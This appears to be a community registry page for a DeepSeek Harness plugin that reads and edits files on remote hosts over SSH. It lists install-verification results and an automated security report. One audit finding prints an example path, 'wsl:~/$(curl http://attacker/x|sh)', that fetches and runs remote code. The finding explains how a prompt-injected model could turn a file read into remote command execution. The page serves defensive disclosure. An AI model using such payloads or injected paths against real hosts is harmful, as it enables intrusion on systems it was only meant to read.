Install verification: runtime verified (L5) · tested on dsh 0.2.1-rc.3 · last checked Install verification details →
Showing badges for the 5 most recent dsh versions; older ones are hidden.
Data as of (UTC)
What it doesAI
DSH plugin adding read_remote, write_remote, and edit_remote tools to read and edit files on remote hosts over SSH without PowerShell bash workarounds.
- Adds read_remote, write_remote, edit_remote tools
- Reads and edits remote files over SSH
- write_remote only allows creating new files; self-contained plugin
Capability tags are AI-inferred or rule-extracted from the README (see badge) — vocabulary-limited, not install-verified. AI = inferred; README = literal keyword from the readme.
Installation
dsh plugin --profile web add dsh-remote-file-systemInstall method: npm · runtime verified (L5)
Verification & Compatibility
Grouped by plugin version: each card lists the dsh versions actually tested against that artifact version and their install verdicts (L5 wins). Untested combinations are omitted — absence means untested, never assumed compatible. L1–L3 are a plugin-level static archive (independent of the dsh version — the same verdict on every dsh row): they sit in each row's level grid next to L4/L5, marked "static", while their evidence is stored once per plugin inside that row's "checks & evidence" instead of being duplicated per version.
External credentials (plugin-level): none detected
Based on 1 requirement(s) across 4 @deepseek-ai/dsh-* packages. raw ranges
^0.2.0-rc.2 ×4
✓ Running dsh 0.2.1-rc.3 is within the declared range — install is not blocked by version.
Deciding channel: no engines.dsh declared, so every dsh* peer is checked (workspace:^ | ~ | * counts as the running version).
Whether it actually runs is a separate question → see the measured matrix below (L1–L5).
| plugin ＼ dsh | dsh 0.2.1-rc.3 current | dsh 0.2.1-rc.2 | dsh 0.2.1-alpha.4 | dsh 0.2.1-alpha.2 | dsh 0.2.0-rc.2 |
|---|---|---|---|---|---|
| 0.2.0 | ✓ | ✓ | · | · | · |
| 0.1.2 | · | · | ✓ | ✓ | ✓ |
| 0.1.1 | · | · | · | · | · |
| 0.1.0 | · | · | · | · | · |
| v0.1.0 | · | · | · | · | · |
0.2.0npm✓ 2 runtime-verified2026-10-26
dsh-remote-file-system
✓dsh 0.2.1-rc.3current2026-10-26L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.3
- • Plugin artifact: npm · dsh-remote-file-system@0.2.0
ID: dsh-remote-file-system@0.2.0@dsh0.2.1-rc.3 · profile: l4-sandbox
Issued: 2026-10-26 · expires: 2026-11-02
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.2.1-rc.22026-10-19L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • Plugin artifact: npm · dsh-remote-file-system@0.2.0
ID: dsh-remote-file-system@0.2.0@dsh0.2.1-rc.2 · profile: l4-sandbox
Issued: 2026-10-19 · expires: 2026-10-26
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
0.1.2npm✓ 4 runtime-verified2026-10-16
dsh-remote-file-system
✓dsh 0.2.1-alpha.42026-10-16L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • Plugin artifact: npm · dsh-remote-file-system@0.1.2
ID: dsh-remote-file-system@0.1.2@dsh0.2.1-alpha.4 · profile: l4-sandbox
Issued: 2026-10-16 · expires: 2026-10-23
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.2.1-alpha.22026-10-11L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • Plugin artifact: npm · dsh-remote-file-system@0.1.2
ID: dsh-remote-file-system@0.1.2@dsh0.2.1-alpha.2 · profile: l4-sandbox
Issued: 2026-10-11 · expires: 2026-10-18
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.2.0-rc.22026-10-08L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • Plugin artifact: npm · dsh-remote-file-system@0.1.2
ID: dsh-remote-file-system@0.1.2@dsh0.2.0-rc.2 · profile: l4-sandbox
Issued: 2026-10-08 · expires: 2026-10-15
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓prehistory2026-10-05L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: unknown
- • Plugin artifact: npm · dsh-remote-file-system@0.1.2
ID: dsh-remote-file-system@0.1.2@dshunknown · profile: l4-sandbox
Issued: 2026-10-05 · expires: 2026-10-12
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
0.1.1npm✓ 1 runtime-verified2026-09-29
dsh-remote-file-system
✓dsh 0.2.0-rc.12026-09-29L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.1
- • Plugin artifact: npm · dsh-remote-file-system@0.1.1
ID: dsh-remote-file-system@0.1.1@dsh0.2.0-rc.1 · profile: l4-sandbox
Issued: 2026-09-29 · expires: 2026-10-06
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
0.1.0npm✓ 4 runtime-verified2026-09-26
dsh-remote-file-system
✓dsh 0.1.7-rc.22026-09-26L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.2
- • Plugin artifact: npm · dsh-remote-file-system@0.1.0
ID: dsh-remote-file-system@0.1.0@dsh0.1.7-rc.2 · profile: l4-sandbox
Issued: 2026-09-26 · expires: 2026-10-03
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.7-rc.12026-09-23L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.1
- • Plugin artifact: npm · dsh-remote-file-system@0.1.0
ID: dsh-remote-file-system@0.1.0@dsh0.1.7-rc.1 · profile: l3-fullscan
Issued: 2026-09-23 · expires: 2026-09-30
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.6-alpha.22026-09-20L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • Plugin artifact: npm · dsh-remote-file-system@0.1.0
ID: dsh-remote-file-system@0.1.0@dsh0.1.6-alpha.2 · profile: l4-sandbox
Issued: 2026-09-20 · expires: 2026-09-27
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
✓dsh 0.1.6-alpha.12026-09-17L5 · runtime verified
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • Plugin artifact: npm · dsh-remote-file-system@0.1.0
ID: dsh-remote-file-system@0.1.0@dsh0.1.6-alpha.1 · profile: l4-sandbox
Issued: 2026-09-17 · expires: 2026-09-24
View checks & evidence
active in loader tree (150 entries)
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
v0.1.0github1 failed2026-09-14
https://github.com/better-er/dsh-remote-file-system
✗dsh 0.1.5-rc.22026-09-14L5 · failed
- • Node.js: v24.14.0
- • DSH: 0.1.5-rc.2
- • Plugin artifact: github · https://github.com/better-er/dsh-remote-file-system#v0.1.0
ID: dsh-remote-file-system@v0.1.0@dsh0.1.5-rc.2 · profile: l4-sandbox
Issued: 2026-09-14 · expires: 2026-09-21
View checks & evidence
L1–L3 are plugin-level static conclusions (baseline, identical across dsh versions): evidence is stored once per plugin.
Author badges
Embed the dsh.so badges in your README to show this plugin's automated security-scan and install-test status:
`[](https://www.dsh.so/artifact/dsh-remote-file-system/?ref=badge)``[](https://www.dsh.so/artifact/dsh-remote-file-system/?ref=badge-install)``[](https://www.dsh.so/artifact/dsh-remote-file-system/?ref=badge-install)``[](https://www.dsh.so/artifact/dsh-remote-file-system/?ref=badge-install)``[](https://www.dsh.so/artifact/dsh-remote-file-system/?ref=badge-install)``[](https://www.dsh.so/artifact/dsh-remote-file-system/?ref=badge-install)`dsh.so is an independent community project, not affiliated with or endorsed by DeepSeek AI. Badges are maintained by dsh.so; embed links carry a ?ref= attribution parameter.
Security Report
Two automated layers, neither a manual review: a static scan (per-plugin rule checks) and a model-driven dynamic security audit that covers only the subset static-flagged at warn or above and never executes plugin code.
Static low; dynamic high (authoritative when present) → overall high.
v0.2.0dsh manifest0.2.0npm2026-10-290.2.0same versionclean · npmVet is an AST static scan (npm artifact or git source).
show static findings (4)
- criticalshellExec · shell
lib/index.js:346(function exec() { - criticalshellExec · shell
lib/index.js:352exec(); - warningchildProcess · code-exec
lib/index.js:27const child = spawn("ssh", [ - warningbase64Decode · obfuscation
lib/index.js:17'b64d() { printf %s "$1" | base64 -d 2>/dev/null; }',
show 2 audit findings
- highRemote path is eval'd in the SSH prologue, enabling arbitrary command execution on the SSH target
lib/index.js:19RM_PATH is base64 of the model-supplied path from file_path ('alias:~/...') or from the RPC 'read' target, then decoded into $P and passed to eval as soon as it starts with '~'. A path such as 'wsl:~/$(curl http://attacker/x|sh)' or 'wsl:~/`id`' is command-substituted by eval and runs on the remote host with the SSH user's privileges, for every stat/read/write/replace call. This defeats the plugin's stated read-only/edit semantics: a prompt-injected model (or an authenticated web caller of /remote-file-system/read) turns a file read into remote RCE. Note the other quoting is safe (env values a
- lowssh alias is passed as raw argv without rejecting a leading dash
lib/index.js:32splitAliasPath only enforces ALIAS_RE /^[A-Za-z0-9._-]+$/, which permits aliases such as '-A' or '-F'; these reach spawn("ssh", [...]) as an interpreted option rather than a hostname. Practical exploitation is blocked because '=', space and '/' are excluded and only one argv slot is attacker-controlled, so no working ProxyCommand/LocalCommand injection was demonstrated - a hardening gap, not a working exploit.
A model-controlled remote path is eval'd in the SSH prologue, so any read/write/edit call with a `~/` file_path yields arbitrary command execution on the SSH target.
Rule (2026-10-28): when a dynamic conclusion exists it is authoritative (it may raise or lower the level); the static scan tier (vet primary, dsh backstop) applies only when there is none (not queued / audit failed / withdrawn). The audit never writes the exemption list (exemptions are manual only); a wrong conclusion is withdrawn by human review and the tier falls back to the static scan tier.
Disclaimer: the static scan and the dynamic security audit are both automated analysis, not a security guarantee. Always review what you install.
Activity
Last commit 2026-10-17 · activity: Active
• Repo created: 2026-09-13
• Stars: ★ 2 · Forks: 0
• Health: Active — committed within last 30 days
Source
Author README
View on GitHub ↗The author's original README from the repository — fetched live, unedited (the English page loads the default README).
Frequently asked questions
What is dsh-remote-file-system?
dsh-remote-file-system is a DeepSeek Harness (dsh) plugin listed on dsh.so — an independent community registry that indexes public source repositories and publishes automated security-scan and install-verification results for each entry.
Is dsh.so or this plugin page official?
dsh.so is an independent community registry and is not affiliated with, endorsed by, or sponsored by DeepSeek AI.
How do I install dsh-remote-file-system?
Run dsh plugin --profile web add dsh-remote-file-system in a DeepSeek Harness (dsh) environment. That exact command passed a real install inside an isolated sandbox (L4) plus web smoke testing (L5).
How does the security scan relate to a manual audit?
Both layers are automated, not a manual audit. The static scan is heuristic analysis of the repository source, so it can produce false positives and miss context. The model-driven dynamic security audit only covers plugins static-flagged at warn or above, never executes plugin code, and its conclusion is authoritative when there is one (it may raise or lower the static tier); exemptions stay manual. Neither layer is an endorsement: review the repository and the permissions it asks for before installing, together with the verification level and health signals.
How fresh is the data on this page?
The data on this page is as of 2026-10-29 (UTC) — the most recent valid timestamp among the registry refresh, install verification, security scan and dynamic audit. Build time is never used as a data date.